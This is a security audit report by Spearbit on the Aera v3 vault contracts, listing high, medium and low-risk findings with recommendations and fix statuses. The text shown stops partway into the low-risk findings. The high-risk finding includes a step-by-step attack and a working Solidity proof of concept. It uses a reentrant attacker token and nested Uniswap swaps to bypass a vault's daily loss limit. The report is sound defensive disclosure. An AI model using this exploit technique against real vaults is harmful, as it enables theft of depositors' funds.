Aera Contracts v3 Security Review

Auditors

Eric Wang, Lead Security Researcher

High Byte, Security Researcher

Slowfi, Security Researcher

Report prepared by: Lucas Goiriz

June 5, 2025

Contents

1 About Spearbit

Spearbit is a decentralized network of expert security engineers offering reviews and other security related services to Web3 projects with the goal of creating a stronger ecosystem. Our network has experience on every part of the blockchain technology stack, including but not limited to protocol design, smart contracts and the Solidity compiler. Spearbit brings in untapped security talent by enabling expert freelance auditors seeking flexibility to work on interesting projects together.

Learn more about us at spearbit.com

2 Introduction

Gauntlet's applied research and optimization teams model market risk, economic incentives, and drive sustainable growth for crypto's top protocols, chains, and onchain treasuries.

Disclaimer: This security review does not guarantee against a hack. It is a snapshot in time of Aera Contracts v3 according to the specific commit. Any modifications to the code will require a new security review.

3 Risk classification

Severity level	**Impact: High**	**Impact: Medium**	**Impact: Low**
Likelihood: high	Critical	High	Medium
Likelihood: medium	High	Medium	Low
Likelihood: low	Medium	Low	Low

3.1 Impact

- High - leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
- Medium - global losses <10% or losses to only a subset of users, but still unacceptable.
- Low - losses will be annoying but bearable--applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.

3.2 Likelihood

- High - almost certain to happen, easy to perform, or not easy but highly incentivized
- Medium - only conditionally possible or incentivized, but still relatively likely
- Low - requires stars to align, or little-to-no incentive

3.3 Action required for severity levels

- Critical - Must fix as soon as possible (if already deployed)
- High - Must fix (before deployment if not already deployed)
- Medium - Should fix
- Low - Could fix

4 Executive Summary

Over the course of 21 days in total, Gauntlet engaged with Spearbit to review the aera-contracts-v3 protocol. In this period of time a total of **67** issues were found.

Summary

Project Name	Gauntlet
Repository	aera-contracts-v3
Commit	a8300f08
Type of Project	Treasury Management, Vaults
Audit Timeline	Apr 16th to May 7th

Issues Found

Severity	Count	Fixed	Acknowledged
Critical Risk	0	0	0
High Risk	1	1	0
Medium Risk	13	12	1
Low Risk	22	14	8
Gas Optimizations	1	1	0
Informational	30	21	9
Total	**67**	**49**	**18**

5 Findings

5.1 High Risk

5.1.1 Incorrect calculation of the received swap amount allows guardians to bypass the daily loss limit

Severity: High Risk

Context: BaseSlippageHooks.sol#L118-L119, BaseSlippageHooks.sol#L132-L133

Description: Guardians may bypass the daily loss limit and extract funds from the vaults. The root cause is that the `_handleAfterExactOutputSingle()` function assumes that `actualAmountOut` calculated above is the exact amount received from the current swap.

However, this is not always true because if a swap occurs during another swap and increases `IERC20(tokenOut).balanceOf()`, the increased amount would be counted twice. This allows the guardian to extract almost all of the input tokens of the first swap while passing the hook checks.

Below is how the attack can be done with the example of `UniswapV3DexHooks`. Assume the vault has 20 WETH and 0 DAI in the initial state, and the guardian is granted permission to swap WETH to DAI through both the `exactInputSingle()` and `exactInput()` functions. The attack steps are:

1. Create an ERC-20 token ATK, which the guardian fully controls.
2. Create two Uniswap V3 pools by pairing WETH and DAI with ATK, i.e., the two pools are WETH/ATK and DAI/ATK. Initialize the pools and add minimal liquidity to enable trading.
3. Call `vault.submit()` with the following two operations:
    1. Operation 1: Approves the Uniswap V3 router to swap 20 WETH.
    2. Operation 2: Calls `router.exactInput()` to swap WETH to DAI through a path of WETH -> ATK -> DAI. This operation is allowed since only the input and output tokens are validated but not the entire path. This operation has a callback with the caller set to the ATK contract.
4. In the before-hook of the `exactInput()` call, the hook contract stores the value of the swapped 10 WETH and a DAI balance of 0 in transient storage.
5. During the `exactInput()` call, in the step of swapping WETH to ATK, `ATK.transfer()` is called, which triggers a callback to the vault and calls `exactInputSingle()` to swap 10 WETH to DAI. The second swap triggers the before- and after-hooks, but it does not interfere with the first since they use different transient storage slots. The second swap succeeds, and the vault's DAI balance increases.
6. After the callback, the first swap continues. Since the WETH/ATK and DAI/ATK pools are initialized with minimal liquidity, this swap incurs an extremely large slippage, so the vault receives nearly no DAI from this swap.
7. However, when the after-hook checks the slippage and daily loss, it compares the current DAI balance with the previously stored balance and thinks the vault receives enough tokens, although the increase in the DAI balance comes from the second swap.
8. After the submission, the guardian mints a significant amount of ATK and swaps it for WETH from the WETH/ATK pool to extract nearly 10 WETH.

The main purpose of deploying a new ATK token is to gain control and perform a callback to the vault to execute the second swap. Note that the second swap is less restricted: It can be a swap via any other DEXes with another input token as long as the output token is DAI.

Recommendation: Instead of calculating the loss based on the difference in token balances before and after the swap, consider calculating it based on the input parameters of the swap. For example, for an exact-input swap, the loss can be calculated as the value of input tokens subtracted by the value of minimum output tokens, i.e., `amountOutMinimum` from `ExactInputSingleParams`. The loss should then be verified to be within the maximum allowed slippage, and the accumulated loss is less than the daily loss limit.

Although the loss would be overestimated since the trade is assumed to incur the largest possible slippage, this simplified design would avoid tracking token balances and prevent the above issue. With this design, part of the slippage hooks can then be configured as only before-hooks, as they no longer need to be called after the operation.

Proof of Concept: The following proof of concept is modified from `UniswapV3DexHooks.fork.t.sol`. Some details are omitted for clarity:

```
/*
Run: forge test --mt test_fork_nested_swaps

Output:
Failing tests:
Encountered 1 failing test in
↪  test/periphery/fork/hooks/slippage/NestedSwapForkTest.t.sol:NestedSwapForkTest
[FAIL: Loss does not match the slippage from the swap: 407882900288702313869 != 26568023536444351156690]
↪  test_fork_poc() (gas: 15053454)

The last assertion in the test fails:
407882900288702313869 (407 DAI) is the `cumulativeDailyLossInNumeraire` tracked by the hook
26568023536444351156690 (26568 DAI) is the actual loss of the trades

The unaccounted loss is 26568 - 407 = 26161 DAI, which is about 10 WETH (i.e., the input token amount of
↪  a swap)
*/

pragma solidity 0.8.29;

contract AttackERC20 is MockERC20 {
    SingleDepositorVault vault;
    bytes ops;
    bool called;

    constructor(SingleDepositorVault vault_) {
        vault = vault_;
    }

    function mint(uint256 amount) public {
        _mint(msg.sender, amount);
    }

    function setOps(bytes memory ops_) public {
        ops = ops_;
    }

    function transfer(address to, uint256 value) public override returns (bool) {
        super.transfer(to, value);

        if (!called) {
            called = true;
            ICallee(address(vault)).callback(ops);
        }
        return true;
    }
}

interface ICallee {
    function callback(bytes memory data) external;
}

contract NestedSwapForkTest is TestForkBaseHooks, MockFeeVaultFactory {
    uint256 internal constant INITIAL_WETH_BALANCE = 20 ether;
```

```
    uint256 internal constant SWAP_WETH_BALANCE = 10 ether;
    uint256 internal constant INIT_LP = 1000;

    uint24 internal constant POOL_FEE = 500; // 0.05% fee tier
    int24 internal constant MIN_TICK = -887272;
    int24 internal constant MAX_TICK = -MIN_TICK;
    int24 internal constant TICK_SPACING = 60;

    SingleDepositorVault public vault;
    MockUniswapV3DexHooks public dexHooks;
    ISwapRouter public router;
    OracleRegistry public oracleRegistry;
    bytes32[] internal leaves;
    address ATK;

    function setUp() public override {
        // Fork mainnet
        vm.createSelectFork(vm.envString("ETH_NODE_URI_MAINNET"), 21_000_000);
        super.setUp();

        ...

        // Fund vault with WETH
        deal(WETH, address(vault), INITIAL_WETH_BALANCE);

        // Set up merkle tree for allowed operations
        leaves = new bytes32[](3);

        // Leaf for exactInput WETH -> DAI
        leaves[0] = MerkleHelper.getLeaf({
            target: UNIV3_ROUTER,
            selector: ISwapRouter.exactInput.selector,
            hasValue: false,
            configurableHooksOffsets: new uint16[](0),
            hooks: address(dexHooks),
            extractedData: abi.encode(
                WETH, // allowed tokenIn
                DAI, // allowed tokenOut
                VAULT_ADDRESS_SENTINEL // allowed recipient
            )
        });

        // Leaf for exactInputSingle WETH -> DAI
        leaves[1] = MerkleHelper.getLeaf({
            target: UNIV3_ROUTER,
            selector: ISwapRouter.exactInputSingle.selector,
            hasValue: false,
            configurableHooksOffsets: new uint16[](0),
            hooks: address(dexHooks),
            extractedData: abi.encode(
                WETH, // allowed tokenIn
                DAI, // allowed tokenOut
                VAULT_ADDRESS_SENTINEL // allowed recipient
            )
        });

        // Leaf for approving tokens
        leaves[2] = MerkleHelper.getLeaf({
            target: WETH,
            selector: IERC20.approve.selector,
            hasValue: false,
            configurableHooksOffsets: Encoder.makeExtractOffsetsArray(0),
```

```
            hooks: address(0),
            extractedData: abi.encode(
                address(router) // allowed spender
            )
        });

        vm.prank(users.owner);
        vault.setGuardianRoot(users.guardian, MerkleHelper.getRoot(leaves));
    }

    function createPools() internal {
        ATK = address(new AttackERC20(vault));
        AttackERC20(ATK).mint(2 * INIT_LP);

        // create pools and initialize
        IUniswapV3Pool UNIV3_WETH_ATK = IUniswapV3Pool(
            IUniswapV3Factory(UNIV3_FACTORY).createPool(WETH, ATK, POOL_FEE)
        );
        IUniswapV3Pool UNIV3_DAI_ATK = IUniswapV3Pool(
            IUniswapV3Factory(UNIV3_FACTORY).createPool(DAI, ATK, POOL_FEE)
        );
        UNIV3_WETH_ATK.initialize(1 << 96);
        UNIV3_DAI_ATK.initialize(1 << 96);

        IERC20(WETH).approve(UNIV3_POS, type(uint256).max);
        IERC20(DAI).approve(UNIV3_POS, type(uint256).max);
        IERC20(ATK).approve(UNIV3_POS, type(uint256).max);

        // add minimal liquidity
        INonfungiblePositionManager.MintParams memory mintParams =
            INonfungiblePositionManager.MintParams({
                token0: ATK,
                token1: WETH,
                fee: POOL_FEE,
                tickLower: (MIN_TICK / TICK_SPACING) * TICK_SPACING,
                tickUpper: (MAX_TICK / TICK_SPACING) * TICK_SPACING,
                amount0Desired: INIT_LP,
                amount1Desired: INIT_LP,
                amount0Min: 0,
                amount1Min: 0,
                recipient: users.guardian,
                deadline: block.timestamp
            });
        INonfungiblePositionManager(UNIV3_POS).mint(mintParams);

        mintParams.token1 = DAI;
        INonfungiblePositionManager(UNIV3_POS).mint(mintParams);
    }

    function test_fork_nested_swaps() public {
        deal(WETH, users.guardian, 2 * INIT_LP);
        deal(DAI, users.guardian, 2 * INIT_LP);

        vm.startPrank(users.guardian, users.guardian);
        createPools();

        Operation[] memory ops = new Operation[](2);

        // approves the router to spend WETH
        ops[0] = Operation({
            target: WETH,
            data: abi.encodeWithSelector(
```

```
            IERC20.approve.selector, address(router), INITIAL_WETH_BALANCE
        ),
        clipboards: new Clipboard[](0),
        isStaticCall: false,
        callbackData: Encoder.emptyCallbackData(),
        configurableHooksOffsets: Encoder.makeExtractOffsetsArray(0),
        proof: MerkleHelper.getProof(leaves, 2),
        hooks: address(0),
        value: 0
    });

    // calls exactInput() but allows a callback from ATK
    ops[1] = Operation({
        target: UNIV3_ROUTER,
        data: abi.encodeWithSelector(
            ISwapRouter.exactInput.selector,
            ISwapRouter.ExactInputParams({
                path: abi.encodePacked(WETH, POOL_FEE, ATK, POOL_FEE, DAI),
                recipient: address(vault),
                deadline: block.timestamp + 1000,
                amountIn: SWAP_WETH_BALANCE,
                amountOutMinimum: 0
            })
    ),
        clipboards: new Clipboard[](0),
        isStaticCall: false,
        callbackData: CallbackData({
            caller: ATK,
            selector: ICallee.callback.selector,
            calldataOffset: 0x44
        }),
        configurableHooksOffsets: new uint16[](0),
        proof: MerkleHelper.getProof(leaves, 0),
        hooks: address(dexHooks),
        value: 0
    });

    // operation executed during the callback, call exactInputSingle()
    Operation[] memory subops = new Operation[](1);
    subops[0] = Operation({
        target: UNIV3_ROUTER,
        data: abi.encodeWithSelector(
            ISwapRouter.exactInputSingle.selector,
            ISwapRouter.ExactInputSingleParams({
                tokenIn: WETH,
                tokenOut: DAI,
                fee: POOL_FEE,
                recipient: address(vault),
                deadline: block.timestamp + 1000,
                amountIn: SWAP_WETH_BALANCE,
                amountOutMinimum: 0,
                sqrtPriceLimitX96: 0
            })
        ),
        clipboards: new Clipboard[](0),
        isStaticCall: false,
        callbackData: Encoder.emptyCallbackData(),
        configurableHooksOffsets: new uint16[](0),
        proof: MerkleHelper.getProof(leaves, 1),
        hooks: address(dexHooks),
        value: 0
    });
```

```
        AttackERC20(ATK).setOps(Encoder.encodeOperations(subops));
        vm.stopPrank();

        // initial state
        uint256 valueBeforeInNumeraire = oracleRegistry.getQuote(
            IERC20(WETH).balanceOf(address(vault)), WETH, DAI
        );

        // submit
        vm.prank(users.guardian);
        vault.submit(Encoder.encodeOperations(ops));

        // end state
        uint256 valueAfterInNumeraire = oracleRegistry.getQuote(
            IERC20(DAI).balanceOf(address(vault)), DAI, DAI
        );
        assertEq(
            dexHooks.vaultStates(address(vault)).cumulativeDailyLossInNumeraire,
            _calculateLoss(valueBeforeInNumeraire, valueAfterInNumeraire),
            "Loss does not match the slippage from the swap"
        );
    }
}
```

Aera: Fixed in PR 319.

Spearbit: Verified.

5.2 Medium Risk

5.2.1 Missing callbacks are not detected

Severity: Medium Risk

Context: BaseVault.sol#L283

Description: Before an operation of submission is executed, a callback can be registered so that the vault will accept the specific callback during the operation call and perform further actions. However, a callback may be registered but not received since, in the `_executeSubmit()` function, there is no check to ensure the callback is indeed called.

The above situation may indicate a configuration error on the operation (e.g., accidentally setting the `hasCallback` flag, incorrect target or selector) or an error on the target contract (e.g., callback not triggered under specific conditions). Since more operations may need to be executed during the callback, it is important to ensure that the expected callback is received to avoid accidentally skipping those operations.

If an operation has a callback flag set but no callback is received, it will block subsequent operations from registering a callback since the `_allowCallback()` function checks if `CALLBACK_CALL_SLOT` is 0.

Recommendation: Consider adding a check after the call to the target contract to ensure that the callback and Merkle root slots are 0, i.e., they have been read and reset by the `_getAllowedCallback()` function. With this approach, the checks in `_allowCallback()` can be omitted. Note that if there are recursive callbacks, each level of the callbacks needs to be checked instead of only the top-level call.

Aera: Fixed in PR 246.

Spearbit: Verified.

5.2.2 Missing approval path

Severity: Medium Risk

Context: BaseVault.sol#L316-L322

Description: approvals list is appended whenever `IERC20.approve.selector` is called. however for some tokens it is also possible to change allowance using `increaseAllowance` (and potentially also `decreaseAllowance`).

Aera: Fixed in PR 219.

Spearbit: Verified. The code now detects calls to `approve()` and `increaseAllowance()` to track approvals.

5.2.3 `BaseVault` Cannot Receive Native Token

Severity: Medium Risk

Context: BaseVault.sol#L108, CallbackHandler.sol#L51

Description: The `BaseVault` contract appears to support native token flows through its `submit` function by way of the `ctx.value` field. This field allows specifying an ETH value to be sent with specific operations. However, the contract itself is not capable of receiving ETH due to two related limitations:

1. The `submit` function is not marked `payable`.
2. The contract does not expose a `receive()` or `payable fallback()` function.

As a result, even if `ctx.value` is greater than zero, the contract will revert upon receiving ETH. This renders any strategy involving native token transfers infeasible under normal execution paths. The only way ETH could be transferred into the contract would be through `selfdestruct`, which is not practical or safe in most DeFi use cases.

Recommendation: Consider marking the `submit` function as `payable`, since it is the intended gateway for guardian-submitted operations. Additionally (or alternatively), exposing a `receive()` function or marking the existing fallback as `payable` would enable native token reception. Either approach would resolve the inconsistency and allow the vault to support ETH-based workflows as designed.

Aera: Fixed in PR 223 by creating `receive` function. `submit` function should not be marked as `payable` as guardian should not send funds themselves.

Spearbit: Verified.

5.2.4 Fees accrued by the old fee calculator may be lost when setting a new one

Severity: Medium Risk

Context: FeeVault.sol#L81

Description: When the vault owner sets a new fee calculator, there may be finalized but unclaimed fees on the old one. If so, those fees will be lost. Before changing the fee calculator, `claimFees()` should be called on the old one to retrieve the latest fee amounts, and the vault should transfer the fees to the recipients.

Recommendation: Considering that it would be an issue if the `claimFees()` function on the old fee calculator constantly reverts, there can be two possible mitigations:

1. Allow anyone to call `claimFees()`, but the fees will be transferred to the correct recipients instead of `msg.sender`. On the UI side, make the vault owner call `claimFees()` before `setFeeCalculator()`, but skip `claimFees()` if it will revert.
2. Call `feeCalculator.claimFees()` with a low-level call. Proceed with transferring the fees to the recipients only if the call has succeeded.

Aera: Acknowledged. Won't fix due to the complexity and because the trust model already necessitates that fee recipients claim regularly.

Spearbit: Acknowledged.

5.2.5 Insufficient slippage check due to precision loss of integer division

Severity: Medium Risk

Context: BaseSlippageHooks.sol#L235-L242

Description: The calculation of the slippage of a trade can be underestimated due to the precision loss of the integer division as it rounds down. As a result, the slippage check may allow more slippage than intended.

For example, assume `valueAfter = 10 ** 18` and `state.maxSlippagePerTrade = 1`, i.e., the maximum slippage per trade is 1 bps. However, because of the integer division, `loss` can be a number up to `2 * 10 ** 14 - 1`, so the effectively allowed slippage is almost 2 bps.

Recommendation: Consider refactoring the slippage check to:

```
require(loss * MAX_BPS <= valueAfter * state.maxSlippagePerTrade, ...);
```

This ensures a more accurate slippage check by avoiding precision loss introduced by integer division. Also, avoiding the integer division can prevent an edge case where `valueAfter` is 0.

Aera: Fixed in PR 302.

Spearbit: Verified.

5.2.6 CCTP hook blocks subsequent token bridging after the first one

Severity: Medium Risk

Context: CCTPHooks.sol#L17-L27

Description: Based on the tests, the CCTP hook is a before-hook but not an after-hook, which means that the `depositForBurn()` function will only be called once before the operation, and therefore, the `HAS_BEFORE_BEEN_CALLED_SLOT` remains 1 after the operation (i.e., not reset to 0).

Consider a case where the guardian wants to bridge USDC to multiple recipients in a submission. The second call to `depositForBurn()` will fail since the hook considers that it is in a post-op state and returns empty bytes, which causes the Merkle proof verification to fail.

Recommendation: Consider either removing the `if (HooksLibrary.hasBeforeHookBeenCalled())` statement if the CCTP hook is a before-hook but not an after-hook. Otherwise, configure the CCTP hook as both a before- and after-hook so the slot can be reset to 0 after the operation. Generally speaking, if a hook uses the `hasBeforeHookBeenCalled()` function, it should be both a before- and after-hook.

Aera: Fixed in PR 303.

Spearbit: Verified. The CCTP hook is now only a before-hook, but not an after-hook.

5.2.7 Adding new oracles does not require a delay period

Severity: Medium Risk

Context: OracleRegistry.sol#L73-L89

Description: Adding an oracle through the `addOracle()` function makes the oracle effective immediately. There should be a delay period for vault owners to review the oracle in case the protocol gets compromised and a malicious oracle is added.

This would only affect the case where the vault has already been configured to allow operations based on the base/quote price before the oracle is added. The case is rare but not impossible for some vault owners to do so.

Recommendation: Consider introducing a delay when a new oracle is added so the vault owners have enough time to review it. A possible change could be to remove the `require(currentOracle.isNotEmpty(), ...)` check in the `scheduleOracleUpdate()` function so that it also works for adding new oracles.

Aera: Unfortunately this could make it tricky to create new strategies quickly so while we can't remove `addOracle` we will check that the oracle exists when adding a new token in Provisioner `setTokenDetails`. Fixed in PR 302.

Spearbit: Verified.

5.2.8 Vault owners could accept an unexpected oracle

Severity: Medium Risk

Context: OracleRegistry.sol#L187-L198

Description: The vault owners could accept an unexpected oracle through the `acceptPendingOracle()` function. Consider the following scenario:

1. The protocol owner schedules an update.
2. The vault owner sees the update and sends a transaction to accept it.
3. Before the transaction is executed, the protocol owner cancels the update and schedules another one.
4. The vault owner ends up accepting an oracle they do not expect.

Eventually, the vault owner will still use the new oracle after the update delay has passed. However, the vault owner may want to take enough time to review the new oracle before accepting it in case of security risks.

Recommendation: Consider modifying the `acceptPendingOracle()` function so that it takes a parameter `pendingOracle`, which is compared with the on-chain `pendingOracleData[base][quote]` value. If the two values are different, the function should revert.

Aera: Fixed in PR 289.

Spearbit: Verified.

5.2.9 Callbacks should be validated

Severity: Medium Risk

Context: BaseVault.sol#L547-L562

Description: There are two potential security risks in the current callback design:

1. An operation's callback data is not included in the Merkle leaf, and therefore, guardians can decide whether the vault will receive a callback during the operation. Hooks could be implemented with an assumption that no callback will be received during the operation, which, if violated, could lead to unexpected consequences. See Issue "Incorrect calculation of the received swap amount allows guardians to bypass the daily loss limit" for more details.
2. During a callback, the sub-operations to execute are decoded directly from calldata. If the target contract that the vault interacts with is compromised, an adversary may be able to perform arbitrary operations with the guardian's permission.

Recommendation: To mitigate the above risks, consider implementing the following:

If an operation has a callback, include a hash in the `callbackData` part. The hash is the `keccak256` result of the encoded sub-operations that will be executed during the callback. Store this value in transient storage in `_allowCallback()`. When a callback is received, extract the encoded sub-operations from calldata, hash it, and compare it with this value. Revert with an error if the two values differ, which indicates that the sub-operations have been modified.

Also, consider including `callbackData` in the Merkle leaf, e.g.,

```
function _createMerkleLeaf(OperationContext memory ctx, bytes memory extractedData)
    internal
    pure
    returns (bytes32)
{
    return keccak256(
        abi.encodePacked(
            ctx.target,
            ctx.selector,
            ctx.value > 0,
            ctx.operationHooks,
            ctx.configurableOperationHooks,
            ctx.hasCallback ? keccak256(ctx.callbackData) : bytes32(0)
            extractedData
        )
    );
}
```

This would allow the vault owners to explicitly allow or disallow callbacks during an operation, and the sub-operations executed in the callback.

Aera: We think it is too limiting to enforce suboperations in the Merkle tree and violates the spirit of the protocol which is to empower guardians to optimize actions off chain. However, we will implement the latter suggestion.

Spearbit: To clarify, the hash of the encoded sub-ops does not have to be included in the Merkle tree, but just storing it in the storage and comparing it with the actual received sub-ops would be sufficient.

That being said, since this check is mainly for the guardians to protect themselves, it is fine not to implement this in the contract to avoid complexity overhead. Guardians should always review the target contracts and/or simulate the transactions to ensure they are not interacting with potentially compromised contracts.

Aera: Fixed in PR 300.

Spearbit: Verified.

5.2.10 Renouncing Ownership May Leave Vault and Fee Calculator in an Unmanageable State

Severity: Medium Risk

Context: *(No context files were provided by the reviewers)*

Description: The current design allows ownership of `MultiDepositorVault` (and possibly `FeeVault`) to be renounced using the inherited `renounceOwnership()` function from Auth2Step. This was previously a valid pattern to allow protocols to "finalize" their vault setup and operate in a fully permissionless mode, relying only on the guardian root and whitelist for constraint enforcement.

However, with the introduction of new functionality in the `PriceAndFeeCalculator` contract — such as `setVaultPaused`, `resetHighestPrice`, and potentially other fee- or price-sensitive administrative controls — ownership is now required for core maintenance actions that affect safety and accounting. If `renounceOwnership()` is called, these paths become permanently inaccessible, which may prevent the vault from pausing in abnormal conditions or recovering from mispriced valuations.

Recommendation: To avoid accidentally locking out critical administrative functions, consider overriding `renounceOwnership()` in `MultiDepositorVault` (and `FeeVault`, if applicable) to revert. Alternatively, add a protocol-level safeguard, such as a boolean flag `canRenounceOwnership` that must be explicitly disabled by governance before renouncing becomes possible.

If preserving the option for decentralization is important, documenting the risks clearly and requiring an explicit function to “seal” the vault may provide better UX than relying on renounce alone.

Aera: Fixed on PR 340 by removing `renounceOwnership` function.

Spearbit: Fix verified.

5.2.11 Max Approval in Provisioner Enables Draining in Misconfigured Scenarios

Severity: Medium Risk

Context: *(No context files were provided by the reviewers)*

Description: In Provisioner.sol#L358, tokens with `asyncDepositEnabled` are approved with an effectively infinite allowance for the associated vault:

```
token.safeApprove(vaultAddress, type(uint256).max);
```

While this is a common gas optimization pattern, it introduces a risk surface if the vault address allows arbitrary external calls and the token and `transferFrom` selector are approved in the guardian's Merkle root.

In such a configuration, a malicious or compromised guardian could submit an operation that drains tokens directly from the `Provisioner`, bypassing the intent of user-managed deposits. Vault owners with `execute()` privileges could also abuse this, though this is considered lower risk due to the assumption of trust.

Additionally, during standard sync deposits (via `deposit` or `mint`), users must first approve the vault, then call the `Provisioner` to trigger the deposit. If these actions are submitted as separate transactions, a malicious guardian could front-run the deposit by submitting a call to transfer the user's tokens from their address to the vault in between.

This risk applies if:

- The token address and `transferFrom` selector are included in the guardian's approved root.
- The vault allows these calls during a submission.
- The user performs an unbatched approval and deposit.

Recommendation: While the performance cost of re-approving on every transfer is non-trivial, consider using a safe approval pattern (`approve(0)` then `approve(amount)`) or dynamically sizing approvals when possible for async tokens.

Additionally, in the case of user-triggered sync deposits, the protocol should clearly recommend (or enforce via frontend) batching the approval and deposit call using `multicall`. This would prevent a timing window where a front-running guardian could act on behalf of the user and redirect or drain funds.

If async token usage remains limited and closely monitored, clear documentation and root validation safeguards may be sufficient in the short term.

Aera: Fixed in PR 340.

Spearbit: Fix verified.

5.2.12 Design Fragility in Vault Share Locking and Refund Timeouts

Severity: Medium Risk

Context: *(No context files were provided by the reviewers)*

Description: The current implementation of vault share locking via the `userUnitsRefundableUntil` mapping and the global `depositRefundTimeout` introduces multiple subtle behaviors that could lead to unexpected user experience or value loss, depending on how vault settings evolve over time.

1. Long Timeout Can Lock Users Out Indefinitely: The `depositRefundTimeout` is a global `uint256` variable used to compute the lock period for each user's sync deposit. If it is ever set to an unusually high value — either mistakenly or maliciously — any new sync deposits made during that time will be locked for an extended period.

   These shares are not transferable or redeemable until the timeout expires. Since there is no upper bound or safety cap on the timeout value, users may unintentionally lock their funds for an impractical duration.

   Affected users can call `refundDeposit` to retrieve their assets, but this may involve forfeiting potential upside if the vault's share price appreciates in the meantime.

2. Share Lock Extension on Subsequent Sync Deposits: Each new sync deposit by a user updates the `userUnitsRefundableUntil` mapping. This overwrites any previous timeout, meaning:

   A user depositing at `t1` (locked until `t3`), then again at `t2`, will see their entire share balance relocked until `t4`.

   This behavior might not be obvious and may penalize users who want to incrementally build a position, as it resets the timer across all accumulated units.

3. Refundable Lock Persists Even After Refund: If a sync deposit is refunded (via `refundDeposit`), the lock entry for that user remains in effect. This prevents them from transferring or redeeming even though they no longer hold the vault units associated with that deposit.

   This could block legitimate use of the remaining shares (e.g., from prior async deposits) until the timeout expires — potentially weeks later — despite the user no longer holding any sync-deposit-linked shares.

4. Potential Loss of Upside After Governance Changes: In a scenario where a user deposits via sync mode, and later the vault updates critical parameters (e.g., `redeemMultiplier`), the user may want to refund and re-enter. However, if the vault is temporarily illiquid, and the refund is only possible after the lock expires, the user may be forced to accept the new (less favorable) terms, effectively losing expected upside or timing flexibility.

   This is further complicated in vaults with both sync and async deposits, where restrictions based on `userUnitsRefundableUntil` can interfere with redeem paths across different token types and strategies, including `solveRequestsVault`.

Recommendation: This behavior appears to be an intentional design trade-off, balancing control over short-term withdrawals with the need to protect vault liquidity. However, several mitigations may help improve user experience and reduce footguns:

- Enforce a configurable upper bound on `depositRefundTimeout` to prevent permanent lockouts.
- Track lock periods per deposit rather than per user, or allow multiple overlapping entries, to avoid overwriting earlier unlocks.
- Automatically clear `userUnitsRefundableUntil` entries when the last associated refundable deposit is refunded.
- Add frontend guidance or protocol documentation explaining how partial sync deposits affect global lock timing and how to structure deposits to avoid unintended resets.

Aera: Fixed in PR 354 by setting a max upper bound on `depositRefundTimeout`. Aside from that due to complexity just documentation will be added as the last recommendation suggests.

Spearbit: Partially solved by acknowledging part of the risks as a design constraint and solving the max upper bound and adding documentation.

5.2.13 Vault Can Deposit Into Itself Leading to Artificial Unit Inflation

Severity: Medium Risk

Context: *(No context files were provided by the reviewers)*

Description: In Provisioner.sol#L158-L191 and Provisioner.sol#L94-L131, the contract permits arbitrary calls to `deposit`, `mint`, or `requestDeposit`. There is currently no restriction that prevents the vault from calling deposit functions that would cause it to deposit into itself, either directly or indirectly.

This could allow:

- A vault to mint new shares to itself, backed by tokens it already controls.
- Recursive or circular deposits that inflate vault unit supply without adding new value.
- Incorrect accounting of total assets or redemption value.

Such inflation could ultimately result in insolvency if vault units are later redeemed at full value, despite being only partially backed.

Recommendation: Consider explicitly checking that the `depositor` address is not equal to the vault address, or otherwise preventing recursive self-deposit patterns at the protocol level. This constraint would eliminate a class of value misrepresentation that may be exploited intentionally or triggered by mistake during complex integrations.

Even if the guardian whitelist or submit path currently prevents vault-originated deposits, enforcing this check at the entry point would provide stronger invariants and better protection against future integration misuse.

Aera: Fixed in PR 333 by adding a modifier on `deposit` and `mint` functions that prevents the vault from interacting with them.

Spearbit: Fix verified.

5.3 Low Risk

5.3.1 Callbacks that require return data are not supported

Severity: Low Risk

Context: CallbackHandler.sol#L51-L67

Description: Callbacks to the vault do not return any data, which means callbacks that expect a return value are not supported. This could limit the use cases of callbacks. For example:

- Maker (or other ERC-3156 flash loan) requires the `onFlashloan()` callback to return a specific hash value.
- Uniswap V4 requires the `unlockCallback()` function to return data of type `bytes`. The call will revert if no data is returned due to decoding errors.
- ERC-1155 requires the recipient to return a specific hash value when the `onERC1155Received()` and `onERC1155BatchReceived()` functions are called.

Recommendation: Consider allowing the guardian to set the return data of a callback. For example, the return data can be stored during the `_allowCallback()` function and returned in the `_handleCallback()` function.

Aera: Fixed in PR 293 and PR 356.

Spearbit: Verified.

5.3.2 Guardian's permission is not automatically revoked when removed from whitelist

Severity: Low Risk

Context: BaseVault.sol#L140-L149

Description: After a guardian is removed from the whitelist, and before someone calls `checkGuardianWhitelist()`, the guardian can still `submit()` or `pause()` during this period since their Merkle root in the vault contract has not been deleted yet.

Recommendation: There could be a `isWhitelisted()` check at the beginning of `submit()` and `pause()` so that the guardian's permission is revoked as soon as being removed from the whitelist.

Alternatively, a possible mitigation could be updating the whitelist and calling `checkGuardianWhitelist()` atomically, therefore a solution on the operational side.

Aera: Acknowledged. Handled operationally. The whitelist updater will call `checkGuardianWhitelist` atomically.

Spearbit: Acknowledged.

5.3.3 Potential out-of-bounds memory read

Severity: Low Risk

Context: BaseVault.sol#L590-L595

Description: In the `_extractApprovalSpender()` function, the length of `data` is not checked to ensure that the memory at offset `data + ERC20_SPENDER_OFFSET` is valid. As a result, `mload()` may access an out-of-bounds memory and return random data. Additionally, due to the potentially out-of-bounds read, the assembly block is not guaranteed to be `memory-safe`.

Recommendation: Consider validating that the length of `data` is at least 36 bytes (i.e., 4 bytes for the selector and 32 bytes for the address parameter) before the `mload()` instruction.

Aera: Acknowledged. Will add a clarifying comment.

Skipping the check is intentional for efficiency reasons as it only penalizes guardians for using the platform incorrectly. We want to keep the "memory-safe" annotation as it helps the compiler optimize the code. Technically there is an unsafe memory read but as discussed the transaction would revert anyways so the "memory-safe" annotation doesn't actually mislead the compiler in this case. See PR 214.

Spearbit: The `mload()` call won't revert because it does not have boundary checks. The call `approve()` will likely revert since most ERC-20 token implementations require a `spender` parameter in the call. Acknowledged.

5.3.4 Outgoing approvals should be checked at the end of submission

Severity: Low Risk

Context: BaseVault.sol#L126-L130

Description: In the `_executeSubmit()` function, `_noPendingApprovalsInvariant()` is executed before the `_afterSubmitHooks()` call.

Therefore, if the after-submit hook makes a callback to the vault to execute `approve()`, that approval will be unchecked. This scenario is theoretically possible because the vault does not check if a registered callback has been received during the operation, so the callback can still be executed after the operation. The callback would need to pass the caller and selector checks, so the situation would likely be a configuration error and compromise of the hook or target contract.

